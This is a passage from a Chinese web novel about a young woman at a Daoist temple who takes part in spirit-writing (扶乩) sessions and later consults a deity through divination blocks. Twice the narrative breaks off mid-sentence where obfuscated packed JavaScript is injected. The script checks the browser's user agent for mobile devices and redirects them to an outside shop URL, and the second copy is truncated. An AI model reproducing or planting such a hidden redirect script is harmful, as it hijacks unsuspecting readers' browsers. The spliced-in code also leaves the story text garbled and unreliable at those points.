他没回答。我用余光瞥见他闭上眼睛,双手在膝盖上结了个印,嘴唇动了动,像是在念叨什么。车厢里的空气瞬间僵住了,只有引擎嗡嗡响着,衬得四周更静。我知道情况不对劲,咬着牙把车速稳住,心跳却咚咚撞着胸腔,震得耳膜发疼。 不知过了多久,久到我手心的汗都快把方向盘濡湿了,墨宇才开口:“你还感觉冷吗?” “不冷了。”我脱口而出,声音里的紧张藏都藏不住,“刚才到底怎么回事?你看到什么了?” 墨宇缓缓睁眼,眸子里的锐利退了,只剩平静。“一个车祸横死的男人,想找替死鬼。挑到我们这车了,我给过他机会走,他竟然不肯。”他轻哼一声,“刚解决了,这下他连鬼都做不成了。” 我心头一紧,方向盘猛地抖了一下,车子差点蹭到护栏。“你把人家……灭了?” “他非要死缠着,我能怎么办?”墨宇侧头看我,语气里带着点无奈。 “那你会不会沾因果?”我追问,嗓子眼发紧。 “有因必有果。”墨宇笑了笑,却没半点笑意,“他的报应,就是我。” 我没再说话。不是不想问,是喉咙里像堵了团棉花。近期的怪事早就把我的心理阈值磨高了,这会儿竟没太多恐惧,只剩一种麻木的荒诞。山路越走越偏,连个灯火都没有,我盯着车灯照亮的前路,脑子里一片空白,连思考的力气都没了。 墨宇见我不吭声,补了句:“他找替死鬼害人,直接解决,也算积德。” 我点了点头,挤出一声“嗯”。解决了就好,我只想快点到道观。 到达道观时已是深夜,山门虚掩着,薛道长特意留了门。几句寒暄说得潦草,谁都没提路上的插曲,各自领了钥匙回房。这次我被安排在二楼的四人间,窗外就是道观的内部车道,只有几盏廊灯亮着昏黄的光,安静得不像话。 洗漱完,我坐在床沿盯着窗户发愣。心里有个声音喊着开灯睡——我向来怕黑,更何况是在这深山道观里。但转念一想,道观日子本就拮据,能省一点是一点。咬咬牙关了灯,摸黑躺下,把被子拉到下巴。 刚闭眼没几分钟,一阵细微的声音钻进耳朵。 吱……吱吱…… 是指甲划玻璃的动静。 清晰,缓慢,一下一下,挠在人绷紧的神经上。 我全身的血瞬间冻住了,连呼吸都忘了。这是二楼,窗外光秃秃的,没平台没树桠,什么东西能在外面划玻璃? 那声音还在持续,规律得诡异,像试探,又像挑衅。我能感觉到心跳快得要冲破胸膛,后背的冷汗把睡衣浸得冰凉。 “拜托别吓我。”我对着黑暗小声说,声音都在颤,“我又不是第一次来,真把我吓坏了,明天我就去三清殿告状!” 这话半是豁出去,半是虚张声势。 奇妙的是,话音刚落,那划玻璃的声音就戛然而止了,像从没出现过一样。 我长舒一口气,紧绷的身子瞬间垮下来,疲惫感跟着涌上来。原来真是道观里的“老朋友”恶作剧?我苦笑一声,恐惧感渐渐退去,没一会儿就沉沉睡了过去。 第二天上午一切如常。跟着上早课,打一套生疏的太极,早餐是粥和咸菜,然后值殿——擦供桌、添香火,听着香客低声祈福,日子过得平静又安稳。午饭后,我没回房午休,脑子里总惦记着千尘说的那句玩笑话——去各个大殿告状。 于是我一个人从灵官殿一路叩拜到三清殿。中午殿里静悄悄的,只有香烛燃烧的噼啪声,我在每个神像前跪下,把近期憋着的委屈、困惑,还有那些说不清道不明的遭遇,一股脑倒了出来,没逻辑没条理,纯粹是发泄,最后在三清殿前磕完头起身,心里那块沉甸甸的石头,竟像是轻了不少,不管有没有用,至少我能做的都做了。 刚走出殿门,手机响了,是墨宇。 “楠木,你在哪儿?”他的声音透着明显的困惑,“我刚在外面打坐,一睁眼,身边多了块长方体石头,我感应了下,这东西……可能是给你的。你赶紧过来看看。” “那我们财神殿旁边茶棚见,我正在下山。”挂了电话,我脚步不自觉加快。石头?为什么是给我的?谁给的?无数问号在脑子里打转,好奇压过了一切。 赶到茶棚时,墨宇已经在那儿了。石桌上放着块巴掌大的石头,我坐下凑近看——长方体,形状规整得不像天然的。一头棕黑两□□限分明,像太极图。更怪的是,正面隐约显现出一张人脸,眉眼口鼻依稀可辨。 “这手感……”我伸手摸了摸,指尖传来玉石般的温润,嘴里自言自语道“跟玉似的,造型也像印章,这人像又是谁?” 墨宇没看石头,摇摇头:“果然是你的东西,他们让我交给你,自己研究吧。” 我翻来覆去地看,越看越惊。这石头的纹路、质感,还有那张人脸,都透着股说不出的玄妙,完全超出我对石头的认知。 正当我沉浸其中时,薛道长突然走了过来,摸着胡子笑着对我们说:“今天晚上有新体验,我们准备扶乩请神,你们两个也一起来试一试吧。” 我和墨宇对视一眼,满脸困惑地看向薛道长说:“道长,什么叫扶乩?” 薛道长捻着颔下花白的胡须,目光落在不远处庭院里的方向,语气是老道的笃定,带着几分郑重:“扶乩,也叫请笔仙,但是和你们年轻人听说的笔仙,可不是一回事。”他顿了顿,继续解释道,“你们口中的笔仙,多半是些游散的野鬼游魂,借着生人阳气作祟,算不得什么正经门道。我们这扶乩,请的是正神,或是在此地修行的仙家,根正苗红的路数。” 他伸手指了指庭院方向,像是已经能看见夜里要布置的器物:“这仪式里的东西都有讲究。铺米得用新收的粳米,颗颗饱满,铺得平平整整,为的是让神明落笔时字迹清晰,不黏不糊;那支人字形木笔,是桃木的,桃木镇煞驱邪,能挡旁的不干净东西钻空子,这是祖师爷传下来的老规矩。” “还有供桌上的牌位香烛,是请神的帖;门外烧的元宝纸钱,是给引路护法的谢礼。”薛道长的声音压低了些,带着几分肃穆,“两个人扶笔,也不是随便凑数,取的是阴阳相济的意思,扶笔的人得心诚,身子干净,才能让神明借着腕力显形。” 我还是疑惑道:“笔仙不是通常请来的是……” “鬼?”薛道长接过话头,笑了笑,“我们这里有护法神正神加持,妖魔鬼怪进不来的,晚上给你们长长见识。” 我和墨宇互相看了一眼点点头,但我心中仍有疑问——薛道长平时对这些玄事态度谨慎,为何突然主动组织扶乩?是单纯为了让我们开眼界吗? 薛道长离开后,我转向墨宇:“你知道扶乩是什么吗?真能请神下来?下来做什么?” 墨宇眉头微皱:“没接触过,我也好奇,但...有些莫名的不安。” “连你这个‘孤星星君’也有不知道的事?”我试图以玩笑缓解紧张。 墨宇白了我一眼:“我这是第一次做人,也没接触过这些东西啊。” 我还是满怀期待的等着晚上这场扶乩仪式,于是吃完饭便早早洗漱整理,觉得应该以郑重的态度参与这场仪式。 晚上八点,道观庭院中央已布置妥当,斗姆殿前的空地上设了一张供桌,台上香炉、牌位、香烛一应俱全。前方靠近大门处有两个长条桌,一个桌子横放着,上面摆了一个一米多长的长方形托盘,里面铺满大米,中央放着一支人字形朱红木笔;另一个长条桌竖着放在旁边,桌上备有纸笔,似乎是做记录用的。门外,大师傅正在铁桶中焚烧元宝纸钱。 我有些社恐,一个人站在供桌前观察着这一切,其他义工聚集在记录桌旁窃窃私语,看来都是第一次参与,充满好奇。 我本以为薛道长会亲自上场主笔,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908348|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见大师傅从门外进来,直接招呼墨宇站到米盘前,两人一左一右各握木笔一边,开始左右缓慢摇摆。 “楠木,上香。”薛道长的声音让我回过神来。 我恭敬地点燃三炷香插入香炉,磕头后站定继续观察,只见他们两人手中的木笔左右摇摆,我心里只觉得这是不是某种特定仪式来召请神灵。 几分钟后,大师傅突然停下,转头看向我说:“来,换你来试一下。” “我?”我愣住了。 大师傅点头。我迟疑地走上前,替代他的位置。手刚握住木笔—— 嗡! 一股无法抗拒的力量瞬间掌控了我的手臂!木笔开始剧烈晃动,我本能的想松手,但是发现做不到,有点求助的看向大师傅。 “别对抗,放松。”大师傅的声音传来。 我又看向墨宇,他眼神示意我安心。我深吸一口气,试着放松手臂。 不到一分钟,笔尖“啪嗒”落在米盘上,然后—— 它竟然自己动起来了! 我完全懵了,我发誓!我的手根本没用力,墨宇的手也松弛着,但这支笔正带着我们的手在米盘中划动,我不禁用力握紧了些。 “放松,不要对抗,否则写不了字。”大师傅再次提醒。 我听见后,几乎是虚握着笔杆,任由那股力量牵引,笔尖在米粒中划出清晰的痕迹: “我是XXX将军,在此地修行。你们有何问题可以问我,但不可问‘爱情’和‘寿命’。” 义工们见此场景一阵骚动,薛道长朗声道:“想问问题的,去后面上香磕头,心中默问即可,然后上来看神仙的指示。” 奇妙的是,当这位“将军”上笔后,我竟能模糊感知到他的情绪和性格——威严、直率,甚至有些豪迈。 义工们轮流上香,心中默问,笔尖便在米盘中一一作答,她们问题多半是事业、学业、健康这一些,这位将军都给出了方向和建议。 有一位女义工站在后面,没有上前,笔却突然从米盘上抬起,牵引着我们的手直指向她后,又重重敲击米盘,似有不悦。 薛道长笑着问那女生道:“你心里在想什么问题呢?” 女生脸红道:“我在想...我和男朋友的感情...” 周围人轻笑,薛道长玩笑道:“心里还是别打小九九了,神仙都能看得到,他说了不能问感情的事儿。”那女生脸红着不好意思的缩了缩头,小声的说了声:“对不起……” 当最后一个问题回答完毕,笔尖写下“还有问题吗”,突然又从米盘上挪开,指向后方牌位。 我立刻会意脱口而出说:“香!” 薛道长看了我一眼后,迅速去续上了香火。 我心里一阵惊讶,这位‘将军’竟然知道香燃完了,要续!好厉害! “还有问题吗?”薛道长问。众人摇头。 笔尖在米盘中画了一个圆——表示“好”。 我以为仪式即将结束,突然—— 猝不及防的一股巨力猛地将我和墨宇向前拖拽!我们完全无法抵抗,瞬间被拖飞出去! “啊!”我被吓的失声尖叫。 我们被拖出十米多远,期间跨过了一个高门槛,和十几级向下的台阶,落地时又被拖的跨了一大步,薛道长反应极快,冲上前挡在我们前方,我不知所措,但脑海里听到一个中年男子的声音说:“我想带这两人去山上玩一圈。”我情不自禁的把这话给说了出来,我还在奇怪为什么会说这话时,薛道长神色严肃的瞪了我一眼说:“知道您今天兴致好,想带他们二人游玩,但天色已晚,不安全。下次白天再带他们去吧。” 手中的笔犹豫了片刻,缓缓垂下,我能感受到那股力量的失望——它确实想带我们“出去”,他兴致很高。 这种安静,让我也缓过神来,这股力量太过惊人,我和墨宇加起来近三百斤,竟被它轻易拖拽那么远,我本就不好的膝盖竟然如此落地也没受伤。 薛道长随即示意我们回到米盘前说:“今夜就到此为止,麻烦您了,下次白天再带这两个小朋友玩。” 我知道这是薛道长敷衍他的话,我心底还是很有兴趣想知道这位将军会带我们去哪里玩儿,但也不敢说什么。我发现薛道长似乎不喜我直接说这些话。 于是大师傅开始烧纸送神,笔尖最后在米盘上画了一个圆圈后,手中那股力量终于消失,取而代之的是一阵强烈的虚弱感,仿佛全身力气被抽空。 薛道长见我们精神萎靡,让我们先回房休息,我和墨宇虽然满腹疑问,但实在疲惫不堪,只得先各自回房。 躺在床上,我脑海中反复回放今天的一切——那奇怪的石头,扶乩请下来的将军,那读心术,那强大的力量,这是在现实世界里显化出来了吗?经历这一遭,让我对世界又有了新的认识… 36.扶乩(下) 第二天,我醒得比晨钟还早,天光还未亮,我便独自走进斗姆殿,拜垫带着夜露的潮气,我一屁股坐在了拜垫上,目光直直盯在斗姆元君的神像上。 冕旒垂落,遮住神像的眉眼,却像有双无形的眼睛,正静静看着我。 昨天那一切是真的吗? 我指尖无意识地抠着拜垫边缘的线头,心里乱得像团缠死的麻。从前也不是没撞见些说不清道不明的事,可我总抱着“不生恶念,真假何妨”的念头,浑浑噩噩地糊弄过去。但昨夜不一样——那股攥着笔杆的力道,那米盘上慢慢显出来的字迹,那股强大的非人力量,都像块石头,沉甸甸砸在我心上。 这些东西,真的存在? 生活里真有神灵在暗处注视着每一个念头?所谓的神灵,到底是什么?是高维度的物种,还是人心底的执念具象化了? 无数念头在脑子里横冲直撞,连殿门“吱呀”一声被推开都没听见。直到一道影子投过来,我才猛地回过头,看见墨宇站在门口,也是一愣,显然没料到殿里有人。 “你……感觉怎么样?”我先开了口,嗓子有点干,其实满肚子的话堵在喉咙口,想问他的想法,想问他扶乩时的感觉,可话到嘴边,又莫名地咽了回去。 墨宇脸上带着点没散去的兴奋,眼底却藏着一丝倦意:“还挺有意思的,昨天我睡梦中,观里的护法还带我到处参观游玩了一趟,只是昨夜扶乩有些耗炁,让我有些疲惫。” 我点点头,也没再接话,心里乱得很,连应和的力气都没有。没过多久,义工和道长们就陆续来了,脚步声踏碎了殿里的宁静,各自归位,准备上早课。 早斋的粥水寡淡,我扒拉了两口就放下碗筷,收拾好值殿要用的经书,刚要跨出门槛,就被薛道长叫住了。 “楠木,别急。”他声音不高,却带着不容置疑的笃定,“今日你不用去值殿了,来茶室坐一坐。” 我愣了愣,一脸茫然地点点头,转身往茶室走。刚推开木门,就看见墨宇已经坐在里面了。他见我进来,抬了抬下巴:“刚薛道长约我在茶室等他,不知是有什么事情要说。” 我“嗯”了一声,走过去坐下。桌上摆着一碟瓜子,我们俩没话找话似的,嗑得“咔嚓”响,茶室里只剩下这细碎的声响,安静得有些尴尬。 没等多久,薛道长就推门进来了。我们俩赶紧站起身,对着他躬身行礼,又重新坐下。薛道长笑盈盈地坐到主位上,熟稔地摆弄着茶具,热水注入紫砂壶,发出“咕噜”的轻响。他一边洗茶,一边慢悠悠地开口:“昨夜的扶乩请神感觉怎么样?有意思吗?” 我和墨宇对视一眼,不约而同地点点头,谁都没多说什么。 薛道长像是早料到我们会是这反应,也不介意,接着往下说:“你们来之前,我们找义工也试过几次,但是一直没请下来。昨日很顺利,这种事情对你们来说也是一个新的体验,这也是道教文化的一种。” “为什么之前来的人无法请神?”我忍不住先开了口,语气里满是惊讶,“不是每个人都可以吗?” 薛道长摸了摸下巴上的山羊胡,眼神里带着点深意:“当然不是,其中缘由我不便细说,你们两个可以,说明有缘分,是个苗子,以后长期练习磨合,应该会成为很好的乩手。” “扶乩手?长期练习?”我皱着眉,语气里的疑惑藏都藏不住。 薛道长笑了笑,往我们面前的茶杯里斟上茶汤:“当然。合格的扶乩手需要长期练习,才能和神灵越来越合拍,这是磨出来的功夫。” “那……昨天那位将军,为什么想带我们去玩儿?真的会带我们去跑山吗?”我追问着,实在是好奇得紧。 薛道长端起茶杯,抿了一口,才缓缓道:“他昨日兴致好吧。不过夜晚太危险,安全第一,说起来,之前我在另外一个道观时,有个女信士偏不信神的力量,结果那次上笔的神仙带着她在山里跑了小半天,一群人追都追不上。回来后,那女信士心服口服。” “日行千里?”我惊得拔高了声音。 “算是吧。”薛道长朗声笑起来,眼角的皱纹挤成一团,“神力显化罢了。”他放下茶杯,话锋一转,“今天晚上我们再试一次,你们两个白天就好好休息,先不用值殿了。” 我和墨宇又对视一眼,眼里都带着点惊讶,随即默契地点了点头。薛道长见我们应下,没再多说,起身就走了。 茶室里又只剩下我们俩。我看着墨宇半天没吭声,忍不住问:“你怎么了?全程都不说话。” 墨宇手指摩挲着茶杯边缘,沉吟了片刻:“没有,只是在考虑一些事情而已……” 他话说得含糊,我看他不愿多说,也识趣地没再追问,和他告辞后,我回了自己的房间。心里一半是兴奋——今晚能再体验一次那种神奇的感觉,一半又是疑惑——薛道长以前明明对这些“感应”“神通”之类的事情很反感,怎么这次这么热情? 乱糟糟的念头搅得人不得安宁,白天不用值殿,也没什么事可做,我索性拿出经书,坐在桌前抄写。笔尖划过宣纸,留下淡淡的墨迹,心也跟着静了几分。一上午就这么晃晃悠悠过去了。 中午吃过斋饭,我回房补了个午觉。醒来时,窗外的日头正烈,看了眼床头的手机,才两点出头。闲着也是闲着,我把墨宇给我的那块石头翻了出来,放在掌心细细端详。 这一看,心里就是一惊。 不过一个晚上的功夫,石头另外三面竟然显化出了些图案和歪歪扭扭的字。其中一面,画着个火柴人似的小人,跨着弓步,手里攥着一把长剑,像是在练什么招式。 昨天墨宇把石头给我时,明明没有这些东西。 我越看越纳闷,可转念一想,就算去问墨宇,他八成也不会说实话,只好把这份好奇压在心底。指尖反复摩挲着那个小人图案,但一股突如其来的困意猛地涌了上来,我打了个大大的哈欠,眼皮沉得抬不起来。 怪了,明明才睡醒,怎么又困成这样? 困意来得太凶,我实在扛不住,握着石头躺回床上,没一会儿就睡着了。 这一觉睡得很沉,无梦,也无扰,再醒来时,窗外的天色已经是黄昏了,手机显示五点半。 奇怪的是,睡了这么久,我竟一点都不觉得昏沉,反而浑身轻快,体内像是有股气在缓缓流转,精力充沛得很。 晚斋过后,上完晚课,薛道长就带着人布置起来,和昨天的阵仗几乎一模一样。唯一的区别,是把供桌、牌位和香炉都挪到了大门外,米盘依旧放在原来的位置。 大师傅抱来两对镲,递给我和墨宇,声音沙哑着说:“等会儿我在外面烧元宝,你们看自己的感应来打。” “我……我不会这个啊,大师傅。”我赶紧摆手,手里的镲凉冰冰的,“这玩意儿我从来没碰过,打什么节奏啊?” “跟着感应走。”大师傅丢下一句话,转身就去忙活了。 我站在原地,彻底懵了。 脑子里突然灵光一闪,我转身冲回房间,把那块石头揣在兜里,又快步跑到殿门外,薛道长正弯腰整理供桌上的祭品。 “薛道长,”我凑过去,小声问,“这个石头,能不能放在香炉旁边?” 薛道长瞥了一眼我手里的石头,没多问,只淡淡道:“可以。” 我小心翼翼地把那块长方体的石头搁在香炉边,这才回到斗姆殿前的空地上。墨宇正拿着镲,翻来覆去地研究,手指在镲面上轻轻敲着,发出细碎的“叮叮”声。 “这玩意儿要怎么弄啊?”我凑过去,压低声音问,“总不能随便‘哐哐’乱敲吧?” 墨宇抬眼看我,耸了耸肩:“我也没用过啊。顺其自然呗,你一下我一下,轮流来?” 我翻了个白眼,心里忍不住吐槽——这说了跟没说有什么区别? 正说着,大师傅在门外喊了一声:“你们开始吧……” 我心里顿时揪紧了,握着镲的手微微出汗。深吸一口气,抬手让两面镲撞在一起——“哐”的一声,声音比我预想的要响亮得多。 完全没个章法,只能凭着感觉胡乱敲打。反观墨宇,倒是来劲得很,镲声撞得震天响,震得我耳膜嗡嗡直跳。 就在这嘈杂的声响里,我竟隐约听见一段经文在耳边回响:“仰启神威豁落将,都天纠察大灵官。火车三五大雷公,受命三清降鬼祟。手执金鞭巡世界,身披金甲显威灵……” 我心里一惊,猛地停了手,那经文的声音也跟着戛然而止。我试探着又敲了一下镲,经文声竟又响了起来,这次的调子柔和了些,像有人在耳边低声吟诵,带着安抚人心的力量。 我一时不知所措,停下手,转头看向墨宇:“你听见什么声音了吗?我怎么听见灵官咒的片段了,那声音也不是我唱的啊……” 墨宇满脸疑惑地看着我,摇了摇头。 这时,大师傅见我停下,便走过来,沉声问:“怎么了?为什么不继续了?” “我听见了灵官咒经文的声音,”我急急地解释,“有声音一直在唱,我一敲打就唱,好奇怪。” 大师傅定定地看了我一眼,半晌才开口:“你和墨宇去执笔,我来收尾。” 我闻言,赶紧把镲递给他,快步走向米盘。心里却忍不住嘀咕:今天来的,不会是王灵官吧…… 墨宇和我并排站定,还是一人一只手。这次我伸了左手,墨宇伸了右手。指尖刚一握上笔杆,一股熟悉的力道就涌了上来——和昨夜将军那股沉稳厚重的力道截然不同,这股力很轻,像春风拂过指尖,带着笔杆轻轻左右摆动,没有丝毫强迫感,仿佛在等我们适应,然后才缓缓落下米盘,准备写字。 这次由薛道长主发问,他对着米盘,恭声问道:“请问来的是哪一位神仙?” 笔杆带着我们的手指,轻柔地移动,一笔一划都极慢,极稳,不像昨夜那般落笔干脆,反倒像是怕写得太快,我们跟不上似的。在米盘里写下了“王灵官”三个字,收尾时还轻轻顿了顿,像是在耐心等待我们看清。 我心里大惊,脱口而出:“果然是王灵官!” 薛道长立刻瞪了我一眼,语气严厉:“执笔之人不要说话。” 我尴尬地点点头,心里却震得久久不能平静——竟然真的是他!握着笔杆的指尖,还能感受到那股温和的力道,没有丝毫威压,反倒让人觉得安心。 薛道长又接着问:“请问是哪里的王灵官呢?” 笔杆微微抬起,带着我们的手指,指向道观灵官殿的方向,动作很缓,像是怕转得太快,晃到我们的手腕。随后又落回米盘,写下一个字:“这里。” 薛道长点点头,又问:“这次前来,是有何指教吗?” 笔尖在米盘里画了个圈,圈痕圆润,没有划破米层,随即抬起,指了指站在旁边的所有人,指尖掠过每个人时都轻轻顿了顿,像是在一一问候。又落回米盘,缓缓写道:“大家要努力修行,我在此地会好好监督你们的,不要偷懒。” 众人闻言,都忍不住笑出了声,纷纷应道:“好的,劳烦您了,我们不会偷懒的。” 笔尖又画了个圈,转而指向薛道长,写下两个字:“悟”“道”。紧接着,又写了一行字:“悟对成仙,悟错成魔,悟不到成人。” 像是一句温和的叮嘱,而非严厉的训诫。 薛道长神色一凛,连忙让旁边记录的义工,把这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我看见这行字,心里猛地一震,又一次脱口而出:“我就知道有问题!果然是不对劲!” 薛道长的眼刀立刻飞了过来,我缩了缩脖子,心里却激动得要命——终于有人说这件事了!握着笔的指尖,却感觉到那股力道轻轻顿了顿,像是在安抚我激动的情绪。 薛道长沉声问道:“有何问题?” 笔尖缓缓写下:“开光没开好。” 薛道长脸色疑惑,仿佛在思考之前开光的事情,随即问:“如何解决?” “重新开光,开光时要请三清殿的他们下来。” 字迹一笔一划,条理清晰,像是怕我们记不住,特意写得格外清楚。 薛道长看完,点了点头,却没再说话。 我心里激动得怦怦直跳,果然,之前我和千尘在真武殿、慈航殿的遭遇,是真的不对劲! 这时,我心里突然冒出一个问题,可我还握着笔,根本没法开口。我赶紧用眼神示意大师傅,让他过来接替我,我有话要问,一个憋了很久的迷茫的问题。 大师傅走过来,接过了笔,我立刻跑到供桌前,跪下,心里默念:“我未来会走向何方?是继续做宠物医生?还是走修行这条路?” 念完,我快步回到米盘旁,紧紧盯着笔尖。只见笔杆在米盘里缓缓移动,写下了四个字:“时机未到。” 最后一个“到”字落定后,笔尖还轻轻晃了晃,像是在拍着我的肩膀安慰——别急,慢慢来。 我看着这四个字,似懂非懂,却也没再多问,只轻声说了句“谢谢”。 薛道长又问:“大家没有问题了吧?” 见众人都摇了摇头,笔尖在米盘里写下:“好,我走了。” 字迹轻飘飘的,带着点温和的告别意味。随后,笔杆便缓缓垂落,再无动静,那股温和的力道也像潮水般慢慢退去,只留下指尖一丝淡淡的暖意。 薛道长让其他人留下收拾残局,自己却没多停留,转身回了房间。 这一次扶乩,我竟没觉得太耗神,反而精神尚可。心里攒着一堆疑问,本想问问薛道长,会不会处理真武殿和慈航殿的问题,可话到嘴边,又咽了回去——感觉太冒昧了,而且我总觉得,薛道长并不喜欢我掺和这些事。 实在憋得慌,我拉着墨宇念叨这件事。墨宇却只是淡淡道:“这种事儿不是我们决定的,你也不要参与太多了。” 我悻悻地撇撇嘴,又说:“你没感觉到王灵官和之前那个将军的不同吗?我感觉他好温柔啊!他写字的时候,力道轻得像怕晃到我们的手,连落笔都慢慢的,生怕我们看不清……他写字写得也很漂亮!” 墨宇点了点头,赞同道:“嗯,是一种温柔又强大的力量。” 我拿回那块石头,回到自己的房间。石头在掌心温温的,脑子里的思绪翻来覆去,千头万绪,却不知道该跟谁说。想着等回去之后,一定要找千尘和知南好好唠叨唠叨。 倦意渐浓时,我忽然想起王灵官写下的那十二个字——悟对成仙,悟错成魔,悟不到成人,原来修行从来不是什么神通显化的捷径,不过是在每一个心念起落间,守着自己的方寸罢了,想着想着,眼皮沉沉合上了…… 第三天的天光,是被晨钟敲亮的。我收拾好行囊时,指尖还下意识地摩挲着衣兜里的石头——它比来时,好像又沉了几分。本想多待两天,把那些悬而未决的疑问都捋清楚,可手机里的工作消息叮叮当当响个不停,终究是尘缘未了。 我找到薛道长辞行,他没有多余的嘱咐,没有解惑的箴言,仿佛昨夜的扶乩、米盘上的字迹,都只是一场被晨露打湿的梦………… 37.显形咒 回到市区时天光大亮,和墨宇道别后,我没回自己那空荡荡的家,拐了个弯就直奔千尘住处。门板被我敲得咚咚作响,震得楼道里的声控灯忽明忽暗,隔了半晌,门内才传来拖沓的脚步声,像踩在棉花上似的虚浮。门“吱呀”一声被拉开,千尘顶着一头鸡窝似的乱发,睡眼惺忪地扒着门框,眼皮耷拉着,嗓音黏着浓重的睡意,含糊不清地问:“你怎么来了?不是说要在道观待两天吗?怎么回来这么早。” 我没心思跟她寒暄,侧身挤进门,径直瘫在沙发上,后背陷进柔软的海绵里,长长吐出一口浊气。胸腔里郁积了两天的憋闷,总算跟着这口气散了些,我哑着嗓子开口:“你都不知道我这两天经历了什么。”千尘打了个绵长的哈欠,蜷进旁边的单人沙发,指尖用力揉着太阳穴,眼底泛着淡淡的青黑:“说说呗,我昨晚失眠到后半夜,这会儿脑袋还昏沉着呢,正想听点新鲜的提神。” 我便把扶乩时的场景,还有那位将军与王灵官的种种细节,一五一十地讲给她听。话音刚落,千尘的眼睛倏地亮了,困意像被一阵风吹散似的,褪得干干净净,她往前倾了倾身子,语气里满是兴奋:“你没问问那支乩笔是什么材质的?要是能请那位将军带咱们出去逛逛,岂不是不用走路,还能见识见识世面?” 我心里也跟着一动,一股兴致涌了上来,忍不住附和:“这主意确实不错,体验一次肯定有意思。”可念头刚冒出来,又被后脊背的凉意拽了回去,“要不咱们问问姜太公?看看能不能自己在家扶乩。”千尘朝供桌的方向抬了抬下巴,懒洋洋地说:“茭杯就在那儿,你自己问呗。” 我起身点了三炷香,青烟袅袅升起来,在空气中缠缠绕绕,我对着供桌恭敬地拜了三拜,心里默念着能不能在家扶乩,拿起茭杯掷在地上——阴卦。正蹙着眉疑惑,脑海里突然响起一声清晰的告诫:“不可,这不安全。”我下意识复读脱口而出:“是因为不安全吗?”再掷,茭杯一阴一阳,是圣卦。 我转头看向千尘,语气里带着几分庆幸:“太公说不安全,不让咱们瞎试。”千尘耸了耸肩,没太当回事,指尖还在轻轻敲着沙发扶手:“不让试就算了,我也就是随口一说,不过能让那些东西的能量在现实里显化,我确实挺好奇的。” 我心里忍不住追问:“为什么说不安全啊?”话音刚落,那段话又清晰地钻进耳朵里:“上笔的东西说不清来路,万一招惹来邪祟,便是请神容易送神难了。”我后背倏地窜起一股凉意,汗毛都竖了起来,忙把这话复述出来,又掷了一次茭杯——还是圣卦。“是因为不确定性太大,对吧?”再掷,茭杯落地的声响清脆,依旧是圣卦。 我彻底打消了念头,小命要紧,犯不着冒这种险。“多谢太公指点。”我对着供桌拱了拱手,随手将茭杯掷下,这次是阳卦——那是太公在说“不客气”。 坐回沙发时,我长舒了口气,紧绷的神经总算放松下来:“这事儿点到为止就好,以后道观要是再办扶乩,我提前叫你一起去看。”“行啊。”千尘的声音软乎乎的,带着没睡醒的鼻音,眼皮又开始打架。看她精神实在萎靡,我便起身告辞:“你再补补觉吧,晚上要不要一起出去遛弯?我想出去透透气。”千尘掀起眼皮,瞥了我一眼,声音轻得像蚊子哼:“可以,晚点吧,八点我去找你。”我点点头,轻轻带上门离开了。 回到家时,阿飞不在,我把从道观带回来的那块石头搁在香炉旁,我一头躺倒在床上,百无聊赖地刷着手机,指尖在屏幕上漫无目的地划着。突然灵光一闪,我点开闲鱼,指尖飞快地敲出“铜钱剑”三个字。页面往下翻了没几下,一款样式独特的铜钱剑撞进眼里——那是淘宝上找不到的款式,剑身较宽,铜钱与铜钱的间隙里还嵌着细碎的朱砂,红得刺眼,卖家简介里只写了五个字:修行者自制。 我心脏突突跳了两下,指尖都有些发颤,赶紧截图发给千尘,问她像不像真武爷送我的那把。没两分钟,她的消息就回了过来:“嗯,挺像的,细节有点不一样,但大体一模一样,买吧!”我手指一顿,咬了咬牙,当即下了单,心里已经开始盘算,这把剑会不会带来什么新的故事。 兴奋劲儿慢慢褪下去后,墨宇的模样突然在脑海里冒出来,挥之不去。这次去道观,他总觉得哪里不对劲——话少了很多,常常一个人坐在廊下发呆,眼神也没有以前的那种光亮,灰蒙蒙的,像蒙了一层雾。他是不是有什么心事?我点开微信,给他发了条消息:“你最近怎么了?感觉这两天你怪怪的。” 墨宇的回复来得很快,快得让我有些意外:“没事儿,只是过段时间我要离开这儿了,去四川找我师父。”我愣了愣,想起他以前提过一嘴,自己有个教他道术的师父。我敲了行字发过去:“真要跑那么远啊?以后还回来吗?”他回:“顺其自然吧。” 人各有志,我叹了口气,心里却突然冒出来一个念头——我现实中会有师父吗?这个想法一出来,就像生了根,挠得我坐立难安。我猛地从床上弹起来,跑到供桌前,又点了三炷香,拿起茭杯,指尖微微发颤。 “姜太公在吗?”茭杯落地,圣卦。 “我现实里会有师父教我吗?”还是圣卦。 “是薛道长吗?”茭杯两面朝上,阳卦。 我盯着地上的茭杯,琢磨着这卦象,试探着问:“是让我自己选择要不要拜他吗?”圣卦。 心里顿时乱成一团麻,又追问:“那我的师父现在在哪里?”阳卦。 这到底是什么意思?我刚要再掷一次,突然响起的敲门声吓了我一跳,手里的茭杯差点掉在地上。我手忙脚乱地把茭杯拿在手上,跑去开门,门口站着的竟是千尘。“你不是补觉去了吗?怎么突然过来了?”我惊讶道。千尘晃了晃手里的两杯奶茶,杯壁上凝着水珠:“早上被你叫醒后就睡不着了,出来吃了点东西,顺便过来唠唠嗑。” 她瞥见供桌上燃着的香,还有我手里没放下的茭杯,挑了挑眉,语气里带着几分玩味:“又在打卦呢?问什么呢这么入神?”“就……问问我以后有没有师父带我修行。”我把茭杯搁在桌上,给她倒了杯温水。千尘哦了一声,随即像是想起了什么,眼睛弯了弯,嘴角勾起一抹意味深长的笑:“怎么突然想起问这个了?” 